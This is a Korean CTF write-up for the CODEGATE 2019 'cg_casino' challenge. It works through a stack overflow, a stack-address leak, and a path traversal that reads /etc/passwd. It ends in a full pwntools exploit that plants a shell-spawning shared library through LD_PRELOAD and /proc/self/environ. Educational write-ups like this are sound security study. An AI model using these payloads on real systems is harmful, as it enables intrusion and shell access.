CODEGATE 2019 QUAL - cg_casino

2019. 1. 31. 03:12·CTF/2019

Category : pwnable

Summary : stack bof, LD_PRELOAD, /proc/self/environ

  • 가장 흥미로웠던 문제라 이놈만 풀이 작성.

Concept

  • casino를 concept으로 한 간단한 random game binary. 아래와 같이 5개 기능이 있다.

1. Vulnerability

1.1. Stack overflow

  • user_input 함수는 argument인 ptr이 가리키는 공간의 크기를 고려하지 않고 개행문자(\n)가 들어올 때까지 무한정 입력받기 때문에 buffer overflow가 발생한다.
  • 취약한 user_input 함수로 main 함수의 지역변수(voucher, old_voucher)에 입력을 받아 stack buffer overflow가 발생하지만, main 함수가 return을 하지 않아 sfp / ret 를 덮는 방식으로는 exploit 이 불가능하다.

1.2. Memory leak (from uninitialized variable)

  • lotto menu 를 이용할 땐 사용자에게 입력받은 숫자가 <= 44 인지 검사한다.
  • "%u" 포맷스트링으로 사용자에게 숫자를 입력받는데, 'A'와 같이 포맷에 맞지 않는 값이 들어오면 scanf 함수는 실패하고 &v12[v1]는 uninitialized variable이 된다. 만약 &v12[v1] 에 있는 쓰레기 값이 memory address라면 (보통) 44보다 크므로 printf로 출력하게 된다. -> memory leak
$ ./cg_casino
.............
GUESS 6 Numbers!
===================
|  |  |  |  |  |  |
===================
1
2
A
2335601000 : out of range
3
B
32646 : out of range
4
^C
$ python
>>> hex((32646 << 32) + 2335601000)
'0x7f868b367168'     # stack leak
  • 위 취약점을 이용하여 stack address leak 이 가능하다.

1.3. Path traversal

  • merge voucher 기능은 사용자에게 old voucher path를 입력받아 current voucher path에 덮어씌운다.
  • strlen(old_voucher) == 32 만 만족하면 사실상 mv [old_voucher] [voucher]과 동일한 기능이다.
$ ./cg_casino
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$  CG CASINO  $$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 1
input voucher : pwn3r_45
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 2
input old voucher : ../../..//////////////etc/passwd            # length must be 32bytes
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> ^C
$ cat voucher/pwn3r_45
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.................
  • 일반적인 환경이었다면 이 기능을 이용해 .bashrc 나 .bash_profile을 덮어씌우는 등 여러가지 공격을 시도했겠지만, docker 설정에서 /home/cg_casino/voucher/ 말고는 write permission을 제거했기 때문에 딱히 덮어쓸 수 있는 파일이 없다.

2. Exploitation

  • 위에서 말했듯 stack bof를 활용한 sfp / ret overwrite은 제한된다.

2.1. LD_PRELOAD

  • 길이 제한이 없는 overflow이므로 main stack frame 보다 뒤(높은 주소)에 있는 argv, envp도 덮어쓸 수 있다. slot game 기능에서 system 함수를 부른다는 것을 보고 envp 영역을 덮어써서 LD_PRELOAD를 이용하는 방법이 떠올랐다.
  • LD_PRELOAD 환경변수를 설정하면 system 함수가 내부적으로 execve("/bin/sh", "-c", "/usr/bin/clear"); 를 실행하는 시점에 LD_PRELOAD에 설정된 library file을 로드시켜 /bin/sh 의 라이브러리 함수를 hooking 한다.
  • 이제 어떠한 library file을 로드시킬지가 문제이다. 사용자가 서버에 file을 생성할 수 있는 기능은 없지만, merge voucher 기능을 잘 이용하면 library file을 생성할 수 있다.

2.2. /proc/self/environ

  • /proc/[pid]/environ은 해당 process의 envp영역을 보여준다. 정확히는 &envp[0][0] ~ stack top까지의 영역을 보여주는 것이다. &envp[0][0]을 덮어쓰면 당연히 /proc/[pid]/environ에도 반영된다.
$ cat ooo.c 
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
   puts("before");
   getchar();

   memcpy(&envp[0][0], "45454545", 8);

   puts("after");
   getchar();
}
$ ./ooo
before

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 5844 475f 5654 4e52 3d37 0058 4447 5f53  XDG_VTNR=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952  ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53  TUALENVWRAPPER_S

$ fg
after

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 3435 3435 3435 3435 3d37 0058 4447 5f53  45454545=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952  ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53  TUALENVWRAPPER_S
  • envp 영역도 stack buffer overflow로 덮어쓸 수 있는 영역이기 때문에 envp영역에 library file을 덮어버리면 /proc/self/environ은 하나의 ELF file처럼 만들어줄 수 있다. 하지만 /proc/self/environ은 일반 file이 아니기 때문에 LD_PRELOAD=/proc/self/environ으로 직접 로드시킬 수 없다.
  • 하지만 merge voucher 기능으로 /home/cg_casino/voucher/ 에 복사시키고 LD_PRELOAD에 경로를 설정해주면 정상적으로 로드시킬 수 있다.

2.3. Tiny .so file

#include <sys/syscall.h>  

void __libc_start_main(){  
execve("/bin/sh", 0, 0);  
}  

void execve(char *path, char **argv, char **envp){  
asm volatile ("syscall" :: "a"(SYS_execve));  
}
  • __libc_start_main 함수를 hooking하여 /bin/sh를 실행하도록 하는 library file을 만들었다.
pwn3r@ubuntu:~$ gcc -w -fPIC -shared -o run_shell.so ./run_shell.c 
pwn3r@ubuntu:~$ export LD_PRELOAD=`pwd`/run\_shell.so 
pwn3r@ubuntu:~$ /usr/bin/clear 
$
  • 주어진 환경에서 /proc/self/environ의 크기는 약 3434byte 정도이기 때문에 기존 run_shell.so (8120byte)의 크기를 줄여야한다.
  • (접속자 IP가 REMOTE_HOST 환경변수에 들어가기 때문에 3434byte에서 차이가 발생할 수 있음)
  • library file을 compile할 때 -znorelro -s -nostdlib등의 옵션을 붙여주면 크기를 줄일 수 있다.
$ gcc -w -fPIC -shared -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 8120 Jan 30 17:36 run_shell.so

$ gcc -w -znorelro -s -fPIC -shared -nostdlib -o run_shell.so run_shell.c
$ ls -l run_shell.so 
-rwxrwxr-x 1 pwn3r pwn3r 2432 Jan 30 17:37 run_shell.so
  • 마지막으로 user_input함수는 '\n'까지만 입력받기 때문에 run_shell.so 에서 '\n'을 다른 값으로 치환해야 한다. 단순하게 file data에서 '\n' -> '\x0b'로 치환해봤는데 정상적으로 로드가 되어 그대로 사용했다. (다행히
  • ELF format에 영향을 미치지 않는 값이 아니었던 듯)
>>> with open("run_shell.so", "rb") as f: 
...     data = f.read() 
...  
>>> with open("run_shell.so", "wb") as f: 
...     f.write(data.replace('\n', '\x0b')) 
... >>>

2.4. Exploit

#!/usr/bin/python

from pwn import *

def set_voucher(voucher):
    global s
    s.recvuntil('> ')
    s.sendline('1')
    s.recvuntil('input voucher : ')
    s.sendline(voucher)

def copy_voucher(old_voucher):
    global s
    s.recvuntil('> ')
    s.sendline('2')
    s.recvuntil('input old voucher : ');
    s.sendline(old_voucher)

def lotto(*nums):
    global s
    s.recvuntil('> ')
    s.sendline('3')
    s.recvuntil('===================\n')
    s.recvuntil('===================\n')
    for num in range(nums):
        s.sendline(str(num))

def stack_leak():
    global s
        s.recvuntil('> ')
        s.sendline('3')
        s.recvuntil('===================\n')
        s.recvuntil('===================\n')
    s.sendline('1')
    s.sendline('2')

    s.sendline('a')
    lo = int(s.recvline().split(' : ')[0])
    s.sendline('3')

    s.sendline('b')
    hi = int(s.recvline().split(' : ')[0])
    s.sendline('4')
    s.sendline('5')
    s.sendline('6')
    s.recvuntil('maybe next time\n')
    return hi << 32 | lo


def slot():
    global s
    s.recvuntil('> ')
    s.sendline('5')
    s.recvuntil('press any key\n')
    s.sendline()
    if s.recvline(timeout=4) == '':
        s.interactive()

s = remote('110.10.147.113', 6677)
#s = remote('0', 6677)

user_voucher = 'pwn3r_45.so'
set_voucher(user_voucher)
stack = stack_leak()

buf = stack + 0x40
print hex(stack)

with open('test.so') as f:
    fake_so = f.read()

for i in range(3):
    stack_top = (stack & 0xfffffffffffff000) + 0x1000 * (i+1)
    env_start = stack_top - 3456 - len('X.XXX.XXX.XXX') 

    pay = user_voucher
    pay = pay.ljust(0x80, '\x00')
    pay += 'LD_PRELOAD=/home/cg_casino/voucher/{}\x00'.format(user_voucher)
    pay = pay.ljust(0x158, '\x00')
    pay += p64(buf + 0x80)
    pay = pay.ljust(env_start - buf, '\x00')
    pay += fake_so

    set_voucher(pay.split('\n')[0])

    copy_voucher('../../..///////proc/self/environ')
    slot()


s.interactive()
s.close()
$ python exploit.py  
[+] Opening connection to 110.10.147.113 on port 6677: Done  
0x7ffe12221390  
[*] Switching to interactive mode  
$ id  
uid=1000(cg_casino) gid=1000(cg_casino) groups=1000(cg_casino)
저작자표시 비영리 변경금지 (새창열림)

'CTF > 2019' 카테고리의 다른 글

0CTF 2019 - Fast&Furious  (0) 2019.07.21
0CTF 2019 - Fast&Furious2  (0) 2019.07.21
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
'CTF/2019' 카테고리의 다른 글
  • 0CTF 2019 - Fast&Furious
  • 0CTF 2019 - Fast&Furious2
  • CODEGATE 2019 QUAL - Maris_shop
  • CODEGATE 2019 QUAL - god-the-reum
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    vuln
    POC
    csaw
    power of community
    정보보호올림피아드
    gnuboard
    후기
    csaw ctf
    web
    HUST2011
    pwnables
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
CODEGATE 2019 QUAL - cg_casino
상단으로

티스토리툴바